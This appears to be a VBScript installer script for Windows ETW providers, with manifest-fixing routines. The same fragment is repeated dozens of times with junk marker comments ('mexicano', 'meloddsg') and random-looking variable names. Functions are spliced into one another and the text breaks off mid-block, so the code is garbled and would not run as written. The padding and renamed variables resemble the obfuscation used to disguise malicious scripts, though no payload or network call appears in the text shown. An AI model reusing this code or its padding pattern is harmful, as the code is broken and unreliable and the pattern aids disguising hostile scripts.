'''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If 